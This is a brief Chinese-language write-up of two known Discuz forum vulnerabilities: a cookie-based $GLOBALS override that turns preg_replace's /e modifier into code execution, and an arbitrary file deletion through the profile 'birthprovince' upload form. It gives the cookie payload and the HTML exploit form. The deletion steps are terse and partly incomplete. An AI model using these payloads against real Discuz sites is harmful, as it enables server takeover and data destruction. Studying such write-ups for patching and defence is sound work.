Discuz 7.x/6.x 全局变量防御绕过导致代码执行
这是一个非常知名,历史漏洞也比较多的cms。
由于php5.3.x版本里php.ini的设置里request_order默认值为GP(只包含get和post,不包含cookie),导致$_REQUEST中不再包含$_COOKIE,我们通过在Cookie中传入$GLOBALS来覆盖全局变量,造成代码执行漏洞。
核心利用代码:
include/discuzcode.func.php中的
$message = preg_replace($GLOBALS['_DCACHE']['smilies']['searcharray'], $GLOBALS['_DCACHE']['smilies']['replacearray'], $message, $maxsmilies);
利用:
在一个已发布的帖子的请求的cookie字段中,添加如下payload来更改全局变量的值
GLOBALS[_DCACHE][smilies][searcharray]=/.*/eui; GLOBALS[_DCACHE][smilies][replacearray]=phpinfo();
Discuz!X ≤3.4 任意文件删除漏洞
看了一些文章,这个漏洞是由unlink函数引发的,函数参数中拼接了个人设置中的一些数据,但是要进入目标unlink函数,需要上传一张图片,将个人设置中的参数放入表单中。
可见需要上传一张图片才能进入逻辑,
这里直接用robots.txt进行测试
审查元素中找到formhash,
提交后,刷新页面,出生地已经修改成功
构造上传页面,任意上传一张图片
<html>
<body>
<form action="http://your-ip/home.php?mod=spacecp&ac=profile&op=base&profilesubmit=1&formhash=7d2c5f8d" method="post" enctype="multipart/form-data">
<input type="file" name="birthprovince" />
<input type="submit" value="upload" />
</form>
</body>
</html>
此事个人设置也发生了改变
reference:
https://www.secpulse.com/archives/2338.html
https://lorexxar.cn/2017/09/30/dz-delete/
https://bbs.pediy.com/thread-221723.htm